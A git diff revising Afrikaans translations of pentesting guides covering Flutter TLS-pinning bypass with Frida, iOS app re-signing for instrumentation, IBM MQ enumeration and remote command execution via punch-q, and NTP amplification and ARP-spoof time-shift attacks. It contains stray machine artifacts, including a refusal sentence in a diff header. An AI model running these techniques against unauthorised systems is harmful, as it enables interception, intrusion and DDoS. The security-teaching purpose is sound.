 * (Opsioneel) In `socket_android.cc`, hard-code 'n proxy (`"10.0.2.2:8080"`).
 3. **Hercompileer** libflutter.so, plaas dit terug in die APK/IPA, teken, installeer.
-4. **Pre-gepatchte bou** vir algemene weergawes word in die reFlutter GitHub vrystellings verskaf om ure van bou tyd te bespaar.
+4. **Pre-gepatchte boue** vir algemene weergawes word in die reFlutter GitHub vrystellings gestuur om ure van bou tyd te bespaar.

-### Opsie B – Leef haak met **Frida** (die “hard-core” pad)
-Omdat die simbool gestroop is, skandeer jy die gelaaide module vir sy eerste bytes, en verander dan die terugwaarde ter plaatse.
+### Opsie B – Live hooking met **Frida** (die “hard-core” pad)
+Omdat die simbool gestroop is, skandeer jy die gelaaide module vir sy eerste bytes, en verander dan die terugkeerwaarde ter plaatse.
 ```javascript
 // attach & locate libflutter.so
 var flutter = Process.getModuleByName("libflutter.so");
@ -61,16 +61,16 @@ I'm sorry, but I cannot assist with that.
 ```bash
 frida -U -f com.example.app -l bypass.js
 ```
-*Porting tips*
+*Porting wenke*
 * Vir **arm64-v8a** of **armv7**, neem die eerste ~32 bytes van die funksie uit Ghidra, omskakel na 'n spasie-geskeide hex string, en vervang `sig`.
 * Hou **een patroon per Flutter weergawe**, stoor dit in 'n cheat-sheet vir vinnige hergebruik.

-### Forcing traffic through your proxy
-Flutter self **ignoreer toestel proxy instellings**. Eenvoudigste opsies:
+### Dwing verkeer deur jou proxy
+Flutter self **ignoreer toestel proxy instellings**. Gemaklikste opsies:
 * **Android Studio emulator:** Instellings ▶ Proxy → handmatig.
 * **Fisiese toestel:** slegte Wi-Fi AP + DNS spoofing, of Magisk module redigering `/etc/hosts`.

-## References
+## Verwysings
 - [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
@ -2,7 +2,7 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Hoof idee
+## Hoofidee

 Toepassings wat onderteken is met die **entitlement `get_task_allow`** laat derdeparty-toepassings toe om 'n funksie genaamd **`task_for_pid()`** met die proses-ID van die aanvanklike toepassing as argument te loop om die taakpoort daaroor te verkry (in staat wees om dit te beheer en toegang tot sy geheue te verkry).

@ -18,14 +18,14 @@ Met 'n ou jailbreak toestel is dit moontlik om die IPA te installeer, **dit te d
 2. Installeer en begin [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) binne jou macos
 3. Open `Terminal` op jou Mac, en cd na `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Die IPA sal later in hierdie gids verskyn.
 4. Jy behoort jou iOS-toestel te sien. Dubbelklik daarop, en klik dan op Voeg by + → Apps vanaf die boonste menu.
-5. Nadat jy op Voeg by geklik het, sal Configurator die IPA van Apple aflaai, en probeer om dit na jou toestel te druk. As jy my aanbeveling vroeër gevolg het en die IPA reeds geïnstalleer het, sal 'n prompt wat jou vra om die app weer te installeer verskyn.
+5. Na jy op Voeg geklik het, sal Configurator die IPA van Apple aflaai, en probeer om dit na jou toestel te druk. As jy my aanbeveling vroeër gevolg het en die IPA reeds geïnstalleer het, sal 'n prompt verskyn wat jou vra om die app weer te installeer.
 6. Die IPA behoort afgelaai te wees binne `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` waar jy dit kan gryp.

 Kyk [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) vir meer gedetailleerde inligting oor hierdie proses.

 ### Dekripteer die app

-Om die IPA te dekripteer gaan ons dit installeer. As jy egter 'n ou jailbreak iPhone het, is dit moontlik dat die weergawe nie deur die toepassing ondersteun sal word nie, aangesien toepassings gewoonlik net die nuutste weergawes ondersteun.
+Om die IPA te dekripteer, gaan ons dit installeer. As jy egter 'n ou jailbreak iPhone het, is dit moontlik dat die weergawe nie deur die toepassing ondersteun sal word nie, aangesien toepassings gewoonlik net die nuutste weergawes ondersteun.

 So, om dit te installeer, ontsyfer net die IPA:
 ```bash
@ -33,7 +33,7 @@ unzip redacted.ipa -d unzipped
 ```
 Kontroleer die `Info.plist` vir die minimum ondersteunde weergawe en as jou toestel ouer is as dit, verander die waarde sodat dit ondersteun word.

-Zip weer die IPA:
+Zip die IPA terug:
 ```bash
 cd unzipped
 zip -r ../no-min-version.ipa *
@ -42,14 +42,14 @@ Dan installeer die IPA byvoorbeeld met:
 ```bash
 ideviceinstaller -i no-min-version.ipa -w
 ```
-Let wel dat jy dalk die **AppSync Unified tweak** van Cydia nodig het om enige `invalid signature` foute te voorkom.
+Let daarop dat jy dalk **AppSync Unified tweak** van Cydia nodig het om enige `invalid signature` foute te voorkom.

-Sodra dit geïnstalleer is, kan jy die **Iridium tweak** van Cydia gebruik om die gedekripteerde IPA te verkry.
+Sodra dit geïnstalleer is, kan jy **Iridium tweak** van Cydia gebruik om die gedekripteerde IPA te verkry.


-### Patch toestemmings & herteken
+### Patch entitlements & re-sign

-Om die toepassing met die `get-task-allow` toestemming te herteken, is daar verskeie gereedskap beskikbaar soos `app-signer`, `codesign`, en `iResign`. `app-signer` het 'n baie gebruikersvriendelike koppelvlak wat dit baie maklik maak om 'n IPA-lêer te herteken deur die IPA aan te dui wat herteken moet word, om **dit `get-task-allow`** te gee en die sertifikaat en voorsieningsprofiel te gebruik.
+Om die toepassing met die `get-task-allow` entitlement te herteken, is daar verskeie gereedskap beskikbaar soos `app-signer`, `codesign`, en `iResign`. `app-signer` het 'n baie gebruikersvriendelike koppelvlak wat dit baie maklik maak om 'n IPA-lêer te herteken deur die IPA aan te dui wat herteken moet word, om **dit `get-task-allow`** te gee en die sertifikaat en voorsieningsprofiel wat gebruik moet word.

 Wat die sertifikaat en ondertekeningsprofiele betref, bied Apple **gratis ontwikkelaar ondertekeningsprofiele** vir alle rekeninge deur Xcode aan. Skep eenvoudig 'n app en konfigureer een. Konfigureer dan die **iPhone om die ontwikkelaar apps te vertrou** deur na `Settings` → `Privacy & Security` te navigeer, en klik op `Developer Mode`.

@ -61,9 +61,9 @@ ideviceinstaller -i resigned.ipa -w

 ### Aktiveer Ontwikkelaarsmodus (iOS 16+)

-Sedert iOS 16 het Apple **Ontwikkelaarsmodus** bekendgestel: enige binêre wat `get_task_allow` dra *of* met 'n ontwikkelingssertifikaat onderteken is, sal weier om te begin totdat Ontwikkelaarsmodus op die toestel geaktiveer is. Jy sal ook nie Frida/LLDB kan aanheg tensy hierdie vlag aan is nie.
+Sedert iOS 16 het Apple **Ontwikkelaarsmodus** bekendgestel: enige binêre wat `get_task_allow` dra *of* met 'n ontwikkelingssertifikaat onderteken is, sal weier om te begin totdat Ontwikkelaarsmodus op die toestel geaktiveer is. Jy sal ook nie in staat wees om Frida/LLDB aan te sluit tensy hierdie vlag aan is nie.

-1. Installeer of druk **enige** ontwikkelaars-ondertekende IPA na die foon.
+1. Installeer of druk **enige** ontwikkelaar-ondertekende IPA na die foon.
 2. Navigeer na **Instellings → Privaatheid & Sekuriteit → Ontwikkelaarsmodus** en skakel dit aan.
 3. Die toestel sal herbegin; na die invoer van die wagwoord sal jy gevra word om **Aan te Skakel** Ontwikkelaarsmodus.

@ -90,11 +90,11 @@ objection -g "com.example.target" explore
 # Or plain Frida
 frida -U -f com.example.target -l my_script.js --no-pause
 ```
-Onlangse Frida vrylatinge (>=16) hanteer outomaties pointer-outeindes en ander iOS 17 versagtings, so die meeste bestaande skripte werk reg uit die boks.
+Onlangse Frida vrylatinge (>=16) hanteer outomaties pointer-authentisering en ander iOS 17 versagtings, so die meeste bestaande skripte werk reg uit die boks.

 ### Geoutomatiseerde dinamiese analise met MobSF (geen jailbreak)

-[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kan 'n dev-onderteken IPA op 'n werklike toestel instrumenteer met dieselfde tegniek (`get_task_allow`) en bied 'n web UI met lêerstelselblaaier, verkeersvang en Frida-konsol【turn6view0†L2-L3】. Die vinnigste manier is om MobSF in Docker te loop en dan jou iPhone via USB aan te sluit:
+[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kan 'n dev-onderteken IPA op 'n werklike toestel instrumenteer met behulp van dieselfde tegniek (`get_task_allow`) en bied 'n web UI met lêerstelselblaaier, verkeersvang en Frida-konsol【】. Die vinnigste manier is om MobSF in Docker te loop en dan jou iPhone via USB aan te sluit:
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf:latest
 docker run -p 8000:8000 --privileged \
@ -107,12 +107,12 @@ MobSF sal outomaties die binêre ontplooi, 'n Frida-bediener binne die app-sandk
 ### iOS 17 & Lockdown Mode voorbehoude

 * **Lockdown Mode** (Instellings → Privaatheid & Sekuriteit) blokkeer die dinamiese skakelaar om ongetekende of eksterne getekende dinamiese biblioteke te laai. Wanneer jy toestelle toets wat hierdie modus mag hê, maak seker dit is **deaktiveer** of jou Frida/objection sessies sal onmiddellik beëindig word.
-* Pointer Authentication (PAC) word stelselwyd afgedwing op A12+ toestelle. Frida ≥16 hanteer PAC stripping deursigtig — hou net beide *frida-server* en die Python/CLI gereedskapketting op datum wanneer 'n nuwe groot iOS weergawe vrygestel word.
+* Pointer Authentication (PAC) word stelselsgewys afgedwing op A12+ toestelle. Frida ≥16 hanteer PAC stripping deursigtig — hou net beide *frida-server* en die Python/CLI gereedskapketting op datum wanneer 'n nuwe groot iOS weergawe vrygestel word.

 ## Verwysings

 - [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
- Apple ontwikkelaar dokumentasie – Ontsluiting van Ontwikkelaarsmodus op 'n toestel: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
+- Apple ontwikkelaar dokumentasie – Ontsluiting van Ontwikkelaar Modus op 'n toestel: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
 - Mobile Security Framework (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/1414-pentesting-ibmmq.md
+++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md
@ -4,11 +4,9 @@

 ## Basiese inligting

-IBM MQ is 'n IBM-tegnologie om boodskap-rye te bestuur. Soos ander **boodskap broker** tegnologieë, is dit toegewy aan die ontvang, stoor, verwerk en klassifiseer van inligting tussen produsente en verbruikers.
+IBM MQ is 'n IBM-tegnologie om boodskap-rye te bestuur. Soos ander **boodskapbroker** tegnologieë, is dit toegewy aan die ontvang, stoor, verwerk en klassifiseer van inligting tussen produsente en verbruikers.

-Standaard, **dit stel IBM MQ TCP-poort 1414 bloot**.
-Soms kan HTTP REST API blootgestel word op poort **9443**.
-Metrieke (Prometheus) kan ook vanaf TCP-poort **9157** verkry word.
+Standaard, **dit stel IBM MQ TCP-poort 1414 bloot**. Soms kan HTTP REST API blootgestel word op poort **9443**. Metings (Prometheus) kan ook vanaf TCP-poort **9157** verkry word.

 Die IBM MQ TCP-poort 1414 kan gebruik word om boodskappe, rye, kanale, ... te manipuleer, maar **ook om die instansie te beheer**.

@ -29,7 +27,7 @@ Vir 'n meer handmatige benadering, gebruik die Python-biblioteek **[pymqi](https
 3. Decomprimeer (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
 4. Voer `sudo ./mqlicense.sh` uit om lisensievoorwaardes te aanvaar.

-> As jy onder Kali Linux is, wysig die lêer `mqlicense.sh`: verwyder/comments die volgende lyne (tussen lyne 105-110):
+> As jy onder Kali Linux is, wysig die lêer `mqlicense.sh`: verwyder/kommentaar die volgende lyne (tussen lyne 105-110):
 >
 > ```bash
 > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
@ -46,7 +44,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
 ```
-6. Voeg dan tydelik die `.so` lêers by LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **voor** jy ander gereedskap gebruik wat hierdie afhanklikhede het.
+6. Voeg dan tydelik die `.so` lêers by LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **voor** jy ander gereedskap gebruik wat hierdie afhanklikhede benodig.

 Dan kan jy die projek [**pymqi**](https://github.com/dsuch/pymqi) kloon: dit bevat interessante kode-snippets, konstantes, ... Of jy kan die biblioteek direk installeer met: `pip install pymqi`.

@ -64,7 +62,7 @@ Daarna kan dit gebruik word met die `punch-q` opdrag.

 ## Enumerasie

-Jy kan probeer om die **queue manager naam, die gebruikers, die kanale en die queues** te enumerate met **punch-q** of **pymqi**.
+Jy kan probeer om die **queue manager naam, die gebruikers, die kanale en die queues** te enumereer met **punch-q** of **pymqi**.

 ### Queue Manager

@ -82,7 +80,7 @@ Queue Manager name: MYQUEUEMGR
 "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
 "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
 ```
-Dit gebeur dat sommige IBM MQ instansies **onaangetekende** MQ versoeke aanvaar, so `--username / --password` is nie nodig nie. Natuurlik kan toegangregte ook verskil.
+Dit gebeur dat sommige IBM MQ voorbeelde **nie-geoutentiseerde** MQ versoeke aanvaar, so `--username / --password` is nie nodig nie. Natuurlik kan toegangregte ook verskil.

 Sodra ons een kanaalnaam kry (hier: `DEV.ADMIN.SVRCONN`), kan ons al die ander kanale opnoem.

@ -173,7 +171,7 @@ Showing queues with prefix: "*"...

 ### Dump boodskappe

-Jy kan teikens stel op wagte(n)/kanaal(e) om boodskappe uit hulle te snuffel / te dump (nie-destructiewe operasie). _Voorbeelde:_
+Jy kan teikens stel op wagte(n)/kanaal(e) om boodskappe van hulle te snuffel / dump (nie-destructiewe operasie). _Voorbeelde:_
 ```bash
 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
 ```
@ -195,11 +193,11 @@ Jy kan teikens stel op wagte(n)/kanaal(e) om boodskappe uit hulle te snuffel / t
 >
 > Een interessante opdrag is `MQCMD_CREATE_SERVICE` en sy dokumentasie is beskikbaar [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Dit neem as argument 'n `StartCommand` wat na 'n plaaslike program op die instansie verwys (voorbeeld: `/bin/sh`).
 >
-> Daar is ook 'n waarskuwing van die opdrag in die dokumentasie: _"Versigtig: Hierdie opdrag laat 'n gebruiker toe om 'n arbitrêre opdrag met mqm-gesag uit te voer. As regte toegestaan word om hierdie opdrag te gebruik, kan 'n kwaadwillige of onverskillige gebruiker 'n diens definieer wat jou stelsels of data benadeel, byvoorbeeld deur noodsaaklike lêers te verwyder."_
+> Daar is ook 'n waarskuwing van die opdrag in die dokumentasie: _"Versigtigheid: Hierdie opdrag laat 'n gebruiker toe om 'n arbitrêre opdrag met mqm-gesag uit te voer. As regte toegestaan word om hierdie opdrag te gebruik, kan 'n kwaadwillige of sorglose gebruiker 'n diens definieer wat jou stelsels of data benadeel, byvoorbeeld deur noodsaaklike lêers te verwyder."_
 >
 > _Let wel: altyd volgens IBM MQ dokumentasie (Administrasie Verwysing), is daar ook 'n HTTP-eindpunt by `/admin/action/qmgr/{qmgrName}/mqsc` om die ekwivalente MQSC-opdrag vir dienscreatie (`DEFINE SERVICE`) uit te voer. Hierdie aspek is nog nie hier behandel nie._

-Die dienscreatie / -verwydering met PCF vir afstandsprogramuitvoering kan gedoen word deur **punch-q**:
+Die dienscreatie / -verwydering met PCF vir afstandprogramuitvoering kan gedoen word deur **punch-q**:

 **Voorbeeld 1**
 ```bash
@ -226,7 +224,7 @@ Giving the service 0 second(s) to live...
 Cleaning up service...
 Done
 ```
-**Wees bewus dat die programontplooi asynchrone is. So jy het 'n tweede item nodig om die ontploffing te benut** **_(luisteraar vir omgekeerde dop, lêercreasie op 'n ander diens, data-uitvloei deur die netwerk ...)_**
+**Wees bewus dat die programontplooi asynchrone is. So jy het 'n tweede item nodig om die ontploffing te benut** **_(luisteraar vir omgekeerde dop, lêercreasie op 'n ander diens, data-uitvloei deur netwerk ...)_**

 **Voorbeeld 2**

@ -247,7 +245,7 @@ Vir perl:
 ```
 ### Aangepaste PCF

-Jy kan in die IBM MQ dokumentasie delf en direk die **pymqi** python biblioteek gebruik om spesifieke PCF opdragte te toets wat nie in **punch-q** geïmplementeer is nie.
+Jy kan in die IBM MQ dokumentasie delf en die **pymqi** python biblioteek direk gebruik om spesifieke PCF opdragte te toets wat nie in **punch-q** geïmplementeer is nie.

 **Voorbeeld:**
 ```python
@ -308,16 +306,16 @@ As jy nie die konstante name kan vind nie, kan jy na die [IBM MQ dokumentasie](h

 ## Toetsomgewing

-As jy die IBM MQ gedrag en eksploit te toets, kan jy 'n plaaslike omgewing opstel gebaseer op Docker:
+As jy die IBM MQ gedrag en exploits wil toets, kan jy 'n plaaslike omgewing opstel gebaseer op Docker:

-1. Om 'n rekening op ibm.com en cloud.ibm.com te hê.
+1. 'n Rekening op ibm.com en cloud.ibm.com hê.
 2. Skep 'n gecontaineriseerde IBM MQ met:
 ```bash
 sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
 ```
 Standaard is die outkenning geaktiveer, die gebruikersnaam is `admin` en die wagwoord is `passw0rd` (Omgewing veranderlike `MQ_ADMIN_PASSWORD`).
-Hier is die waghuishouer naam gestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`).
+Hier is die wagterbestuurder se naam gestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`).

 Jy moet die IBM MQ opgestel en aan die gang hê met sy poorte blootgestel:
 ```bash
@ -333,4 +331,4 @@ CONTAINER ID   IMAGE                                COMMAND                  CRE
 - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
 - [IBM MQ dokumentasie](https://www.ibm.com/docs/en/ibm-mq)

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-ntp.md
+++ b/src/network-services-pentesting/pentesting-ntp.md
@ -14,7 +14,7 @@ Die **Network Time Protocol (NTP)** verseker dat rekenaars en netwerktoestelle o
 - Gebruik vertroude NTP of NTS (Network Time Security) bronne met outentikasie.
 - Beperk wie die daemon kan vra/beveel (``restrict default noquery``, ``kod`` ens.).
 - Deaktiveer erflating Mode-6/7 kontrole vrae (``monlist``, ``ntpdc``) of beperk hul tempo.
- Monitor sinkronisasie-afwyking/leap-sekonde toestand vir manipulasie.
+- Monitor sinkronisasie-afwyking/leap-second toestand vir manipulasie.
 - Hou die daemon opgedateer (sien onlangse CVEs hieronder).

 **Standaard poorte**
@ -80,12 +80,12 @@ Gee spesiale aandag aan ``restrict`` lyne, ``kod`` (Kiss-o'-Death) instellings,

 | Jaar | CVE | Komponent | Impak |
 |------|-----|-----------|--------|
-| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Meervoudige out-of-bounds skrywe bereikbaar via **ntpq** antwoorde. Patches in **4.2.8p16** 🡒 opgradeer of back-port regstellings. |
+| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Meervoudige out-of-bounds skrywe bereikbaar via **ntpq** antwoorde. Patch in **4.2.8p16** 🡒 opgradeer of back-port regstellings. |
 | 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementasie) | Swak gevormde **NTS** koekie veroorsaak afstand **DoS** voor v0.3.3 – beïnvloed poort 123 selfs wanneer NTS **deaktiveer** is. |
 | 2024 | distro opdaterings | **chrony 4.4 / 4.5** – verskeie sekuriteitsversterkings & NTS-KE regstellings (bv. SUSE-RU-2024:2022) |
-| 2024 | Rekord DDoS | Cloudflare rapporteer 'n **5.6 Tbps UDP refleksie** aanval (NTP onder protokolle wat gebruik word). Hou *monitor* & *monlist* gedeaktiveer op internet-gefokusde gasheers. |
+| 2024 | Rekord DDoS | Cloudflare rapporteer 'n **5.6 Tbps UDP refleksie** aanval (NTP onder protokolle gebruik). Hou *monitor* & *monlist* gedeaktiveer op internet-gesigte gasheer. |

-> **Exploit kits**: Bewys-van-konsep payloads vir die 2023 ntpq OOB-skryf reeks is op GitHub (sien Meinberg skrywe) en kan gewapen word vir kliënt-kant phishing van stelselsadministrateurs.
+> **Exploit kits**: Bewys-van-konsep payloads vir die 2023 ntpq OOB-skrywe reeks is op GitHub (sien Meinberg skrywe) en kan gewapen word vir kliënt-kant phishing van sysadmins.

 ---
 ## Gevorderde Aanvalle
@ -95,7 +95,7 @@ Gee spesiale aandag aan ``restrict`` lyne, ``kod`` (Kiss-o'-Death) instellings,
 Die erfenis Mode-7 ``monlist`` navraag keer tot **600 gasheer adresse** terug en is steeds teenwoordig op duisende internet gasheers. Omdat die antwoord (428-468 bytes/inskrywing) *~ 200×* groter is as die 8-byte versoek, kan 'n aanvaller drievoudige versterkingsfaktore bereik. Versagtings:

 - Opgradeer na ntp 4.2.8p15+ en **voeg** ``disable monitor`` by.
- Beperk UDP/123 op die rand of aktiveer *sessies benodig* op DDoS toestelle.
+- Beperk UDP/123 op die rand of aktiveer *sessies-vereis* op DDoS toestelle.
 - Aktiveer *BCP 38* uitgangsfiltrering om bron spoofing te blokkeer.

 Sien Cloudflare se leer-sentrum artikel vir 'n stap-vir-stap ontleding.
@ -106,7 +106,7 @@ Selfs met outentisering, kan 'n op-pad aanvaller stilweg die **kliënt klok** ve

 ### 3. NTS misbruik & 4460/tcp blootstelling

-NTS skuif die swaar kripto na 'n aparte **TLS 1.3 kanaal op 4460/tcp** (``ntske/1``). Swak implementasies (sien CVE-2023-33192) val uit wanneer koekies ontleed word of laat swak ciphers toe. Pentesters moet:
+NTS skuif die swaar kripto na 'n aparte **TLS 1.3 kanaal op 4460/tcp** (``ntske/1``). Swak implementasies (sien CVE-2023-33192) val uit wanneer koekies ontleed word of laat swak ciphers toe. Pentesters behoort:
 ```bash
 # TLS reconnaissance
 nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
@ -122,9 +122,9 @@ Soek na self-signed of vervalde sertifikate en swak cipher-suites (non-AEAD). Ve
 *Operateurs MOET:*

 1. Gebruik **≥ 4** onafhanklike, diverse tydbronne (publieke poele, GPS, PTP-brugte) om enkelbron vergiftiging te vermy.
-2. Aktiveer ``kod`` en ``limited``/``nomodify`` beperkings sodat misbruikende kliënte **Kiss-o'-Death** tempo-beperk pakkette ontvang in plaas van volle antwoorde.
-3. Monitor daemon logs vir **panic** gebeurtenisse of stapaanpassings > 1000 s. (Handtekeninge van aanval volgens RFC 8633 §5.3.)
-4. Oorweeg **leap-smear** om leap-sekonde onderbrekings te vermy, maar verseker dat *alle* afgeleide kliënte dieselfde smear venster gebruik.
+2. Aktiveer ``kod`` en ``limited``/``nomodify`` beperkings sodat misbruikende kliënte **Kiss-o'-Death** tempo-beperking pakkette ontvang in plaas van volle antwoorde.
+3. Monitor daemon logs vir **panic** gebeurtenisse of stap aanpassings > 1000 s. (Handtekeninge van aanval volgens RFC 8633 §5.3.)
+4. Oorweeg **leap-smear** om leap-sekonde onderbrekings te vermy, maar verseker dat *alle* afwaartse kliënte dieselfde smear venster gebruik.
 5. Hou polling ≤24 h sodat leap-sekonde vlae nie gemis word nie.

 Sien RFC 8633 vir 'n omvattende kontrolelys.
@ -141,7 +141,7 @@ port:4460 "ntske"         # NTS-KE

 | Gereedskap | Doel | Voorbeeld |
 |------------|------|-----------|
-| ``ntpwn`` | Script-kiddie-wrapper om monlist & peers navrae te spuit | ``python ntpwn.py --monlist targets.txt`` |
+| ``ntpwn`` | Skrip-kiddie-wrapper om monlist & peers navrae te spuit | ``python ntpwn.py --monlist targets.txt`` |
 | **zgrab2 ntp** | Massaskandering / JSON-uitvoer insluitend monlist-vlag | Sien opdrag hierbo |
 | ``chronyd`` met ``allow`` | Loop rogue NTP-bediener in pentest laboratorium | ``chronyd -q 'server 127.127.1.0 iburst'`` |
 | ``BetterCap`` | Spuit NTP-pakkette vir tydverskuiwing MITM op Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
@ -176,7 +176,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
 - NTP 4.2.8p15 CVE reeks 2023-04
 - NVD inskrywings **CVE-2023-26551–55**, **CVE-2023-33192**
 - SUSE chrony sekuriteitsopdatering 2024 (chrony 4.5)
- Khronos/Chronos konsep (tyd-verskuiwing mitigasie)
+- Khronos/Chronos konsep (tyd-verskuiwing versagting)
 - chronyc handleiding/voorbeelde vir afstandsmonitering
 - zgrab2 ntp module dokumentasie
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@ -1,6 +1,6 @@
 # Angular

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Die Kontrolelys

@ -10,7 +10,7 @@ Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist).
 * [ ] Sourcemap vir skrifte is gedeaktiveer in die projekkonfigurasie
 * [ ] Onbetroubare gebruikersinvoer word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word
 * [ ] Die gebruiker het geen beheer oor bediener-kant of kliënt-kant sjablone nie
-* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die toepassing vertrou word
+* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die aansoek vertrou word
 * [ ] `BypassSecurity*` metodes word nie gebruik met onbetroubare invoer nie
 * [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks oorgedra nie

@ -20,7 +20,7 @@ Angular is 'n **kragtige** en **oopbron** front-end raamwerk wat deur **Google**

 ## Raamwerk argitektuur

-Om die basiese beginsels van Angular beter te verstaan, laat ons deur sy essensiële konsepte gaan.
+Om die basiese beginsels van Angular beter te verstaan, kom ons kyk na sy essensiële konsepte.

 Gewone Angular projek lyk gewoonlik soos:
 ```bash
@ -41,17 +41,17 @@ my-workspace/
 ├── angular.json #provides workspace-wide and project-specific configuration defaults
 └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
 ```
-Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik onder dit as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts` lêer.
+Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik daaronder as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts` lêer.

 Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts` lêer.

-Die Angular `Router` NgModule verskaf 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts` lêer.
+Die Angular `Router` NgModule bied 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts` lêer.

 Vir data of logika wat nie geassosieer is met 'n spesifieke weergawe nie, en wat jy oor komponente wil deel, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik voorafgegaan deur die `@Injectable()` dekorator. Die dekorator verskaf die metadata wat toelaat dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinjeksie (DI) laat jou toe om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener af nie, valideer nie gebruikersinvoer nie, of log nie direk na die konsole nie; hulle delegeer sulke take aan dienste.

